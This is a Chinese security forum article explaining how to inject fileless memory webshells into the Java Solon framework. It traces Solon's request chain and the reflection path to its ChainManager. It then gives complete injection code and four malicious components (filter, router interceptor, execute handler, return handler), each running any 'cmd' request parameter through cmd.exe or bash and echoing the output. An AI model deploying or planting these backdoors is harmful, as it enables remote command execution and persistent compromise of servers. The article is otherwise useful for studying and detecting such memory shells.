问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Solon框架注入内存马
渗透测试
Solon是Java “新的”应用开发框架,类似Spring boot ,号称Java “纯血国产”应用开发框架
Solon框架注入内存马 ============ Solon简介 ------- Solon是Java “新的”应用开发框架,类似Spring boot ,号称Java “纯血国产”应用开发框架 [Github地址](https://github.com/opensolon/solon) [官网](https://solon.noear.org/) 架构图: ![solon_schema.png](https://github.com/opensolon/solon/blob/main/solon_schema.png?raw=true) 请求处理过程 ------ ![img](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-96cc79200c4bc2746844c9c24ad04105a550a07f.jpeg%3Bcharset%3Dutf-8) Web处理会经过四个路段:过滤器(Filter)->路由拦截器(RouterInterceptor)->处理器(Handler)->拦截器(Interceptor) Filter内存马 --------- 去官方下载了个[demo](https://solon.noear.org/start/) 根据[官方文档web开发部分](https://solon.noear.org/article/206)编写了个简单的Filter ```java @Component(index = 0) //index 为顺序位(不加,则默认为0) public class FilterDemo implements Filter { @Override public void doFilter(Context ctx, FilterChain chain) throws Throwable { System.out.println(ctx.path()); //输出当前访问路径 chain.doFilter(ctx); } } ``` 在System.out.println(ctx.path());下断点,查看这个Filter是如何被添加的 首先查看第一个被调用的doFilter(org.noear.solon.core.ChainManager) ![image-20240810193642799](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ac2d08c3b626c326571d53207532ca62edd97d70.png) ![image-20240810193741350](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-0ee712bc6fb50abc4f7dc62a09ab543880e8debc.png) 这第一个doFilter的作用是构建filter链,this.filterNodes里面的几个filter中,已经存在了前面编写的`FilterDemo` 往前看看FilterDemo是怎样被添加到this.filterNodes里的 在addFilter和addFilterIfAbsent方法里添加 ![image-20240810195058866](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9d611de8560c46433e51682e781f0c4253c4345e.png) ![image-20240810195234212](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-46ada8b8476149a766484c9f0aea2007e4f7c30d.png) 接下来是找哪里调用这个addFilter或者addFilterIfAbsent 来到org.noear.solon.SolonApp的tryHandle方法 ![image-20240810194758282](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ccb1e9c5a9b11e2dd5ae62398e524ce9873a1fc8.png) 跟进this.chainManager()来到org.noear.solon.core.route.RouterWrapper ![image-20240810195953153](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-7c8989a32a7346486cbce0ed68a4870079207cf0.png) 这个this.\_chainManager是ChainManager对象,往前看可以看到addFilter() ![image-20240810200210499](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-52a2be392118ff8cd43c644681cbd5c0507a32c3.png) 到这里,可以清晰的知道,如果能通过上下文获取到`_chainManager`这个field,就能够添加任意的Filter了 下一步就是想办法获取到`_chainManager`这个field,这里借助了工具[Java Object Searcher](https://github.com/c0ny1/java-object-searcher) 编写代码搜索目标对象 ```java List<Keyword> keys = new ArrayList<>(); keys.add(new Keyword.Builder().setField_type("_chainManager").build()); SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); searcher.setIs_debug(true); searcher.setMax_search_depth(20); searcher.setReport_save_path("C:\\Users\\XXX\\Desktop\\demo"); searcher.searchObject(); ``` 搜索结果: ```java TargetObject = {java.lang.Thread} ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} ---> [13] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} ---> value = {org.noear.solon.boot.smarthttp.http.SmHttpContext} ---> _request = {org.smartboot.http.server.impl.HttpRequestImpl} ---> request = {org.smartboot.http.server.impl.Request} ---> serverHandler = {org.noear.solon.boot.smarthttp.http.SmHttpContextHandler} ---> handler = {org.noear.solon.boot.smarthttp.XPluginImp$$Lambda$97/1745043985} ---> arg$1 = {org.noear.solon.SolonApp} ---> _chainManager = {org.noear.solon.core.ChainManager} ``` 其中`value = {org.noear.solon.boot.smarthttp.http.SmHttpContext}`是当前的上下文 ![image-20240810201632619](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-817a3aa311af00449edb39481de106adee24c630.png) 在查询[官方文档](https://solon.noear.org/article/216)的过程中,可以得到几种获取当前上下文的方法,其中`Context ctx = Context.current();`是最合适的,它是基于 ThreadLocal 实现的 综上,得到注入Filter内存马的实现代码: ```php Context ctx = Context.current(); Object _request = getfieldobj(ctx,"_request"); Object request = getfieldobj(_request,"request"); Object serverHandler = getfieldobj(request,"serverHandler"); Object handler = getfieldobj(serverHandler,"handler"); Object arg$1 = getfieldobj(handler,"arg$1"); ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager"); _chainManager.addFilter(new Memshellclass(),0); ``` 其中`refgetFileobj`方法如下: ```java public Object getfieldobj(Object obj, String Filename) throws NoSuchFieldException, IllegalAccessException { try{ Field field = obj.getClass().getDeclaredField(Filename); field.setAccessible(true); Object fieldobj = field.get(obj); return fieldobj; }catch (NoSuchFieldException e) { Field field = obj.getClass().getSuperclass().getDeclaredField(Filename); field.setAccessible(true); Object fieldobj = field.get(obj); return fieldobj; } } ``` 恶意Filter: ```java public class Memshellclass implements Filter{ @Override public void doFilter(Context ctx, FilterChain chain) throws Throwable { try{ if(ctx.param("cmd")!=null){ String str = ctx.param("cmd"); try{ String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str}; String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next(); ctx.output(output); }catch (Exception e) { e.printStackTrace(); } } }catch (Throwable e){ ctx.output(e.getMessage()); } chain.doFilter(ctx); } } ``` RouterInterceptor内存马 -------------------- RouterInterceptor内存马和Filter内存马差不多,其实在上面的initRouter方法已经发现了`addInterceptor`方法调用了 ![image-20240810212454987](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-fa50c84eaae224a036b97498bbd1c7769520edd6.png) 只需要把`_chainManager.addFilter`修改为`addInterceptor`即可 ```java Context ctx = Context.current(); Object _request = getfieldobj(ctx,"_request"); Object request = getfieldobj(_request,"request"); Object serverHandler = getfieldobj(request,"serverHandler"); Object handler = getfieldobj(serverHandler,"handler"); Object arg$1 = getfieldobj(handler,"arg$1"); ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager"); _chainManager.addInterceptor(new RouterInterceptormemshell(),0); ``` 其中恶意RouterInterceptor ```java public class RouterInterceptormemshell implements RouterInterceptor{ @Override public PathRule pathPatterns() { return new PathRule().include("/hello"); //限定路径,可以为return null;即作用于全路径 } @Override public void doIntercept(Context ctx, Handler mainHandler, RouterInterceptorChain chain) throws Throwable { try{ if(ctx.param("cmd")!=null){ String str = ctx.param("cmd"); try{ String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str}; String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next(); ctx.output(output); }catch (Exception e) { e.printStackTrace(); } } }catch (Throwable e){ ctx.output(e.getMessage()); } chain.doIntercept(ctx, mainHandler); } } } ``` ActionExecuteHandler内存马 ----------------------- 还是ChainManager这个类添加,下面的ActionReturnHandler内存马也一样 ![image-20240810223645215](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-0993d17d1f8afcf737efa32d1d540303dbab2966.png) ```java Context ctx = Context.current(); Object _request = getfieldobj(ctx,"_request"); Object request = getfieldobj(_request,"request"); Object serverHandler = getfieldobj(request,"serverHandler"); Object handler = getfieldobj(serverHandler,"handler"); Object arg$1 = getfieldobj(handler,"arg$1"); ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager"); _chainManager.addExecuteHandler(new ActionExecuteHandlermemshell()); ``` 恶意ActionExecuteHandler: ```php public class ActionExecuteHandlermemshell implements ActionExecuteHandler{ @Override public boolean matched(Context ctx, String contentType) { try{ if(ctx.param("cmd")!=null){ String str = ctx.param("cmd"); try{ String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str}; String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next(); ctx.output(output); }catch (Exception e) { e.printStackTrace(); } } }catch (Throwable e){ ctx.output(e.getMessage()); } return false; } @Override public Object[] resolveArguments(Context ctx, Object target, MethodWrap mWrap) throws Throwable { return new Object[0]; } @Override public Object executeHandle(Context ctx, Object target, MethodWrap mWrap) throws Throwable { return null; } } ``` ActionReturnHandler内存马 ---------------------- ```java Context ctx = Context.current(); Object _request = getfieldobj(ctx,"_request"); Object request = getfieldobj(_request,"request"); Object serverHandler = getfieldobj(request,"serverHandler"); Object handler = getfieldobj(serverHandler,"handler"); Object arg$1 = getfieldobj(handler,"arg$1"); ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager"); _chainManager.addReturnHandler(new ActionReturnHandlermemshell()); ``` 恶意ActionReturnHandler: ```java public class ActionReturnHandlermemshell implements ActionReturnHandler{ @Override public boolean matched(Class<?> returnType) { return true; //为true时才回让returnHandle处理 } @Override public void returnHandle(Context ctx, Action action, Object returnValue) throws Throwable { try{ if(ctx.param("cmd")!=null){ String str = ctx.param("cmd"); try{ String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str}; String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next(); ctx.output(output); }catch (Exception e) { e.printStackTrace(); } } }catch (Throwable e){ ctx.output(e.getMessage()); } } } ``` 思考 -- 如果没有理解错的话,按照请求处理流程图,应该还有个Interceptor内存马或者Handler内存马。很菜,没有示例代码,不能调试分析 官方文档说,支持传统的WebServlet、WebFilter 和jsp,这应该也可以做内存马 参考 -- <https://solon.noear.org/article/learn-solon-web> [https://wx.zsxq.com/dweb2/index/topic\_detail/8855182518512112](https://wx.zsxq.com/dweb2/index/topic_detail/8855182518512112)
发表于 2024-09-05 09:00:01
阅读 ( 1371 )
分类:
WEB安全
1 推荐
收藏
0 条评论
请先
登录
后评论
Stree
果农
8 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!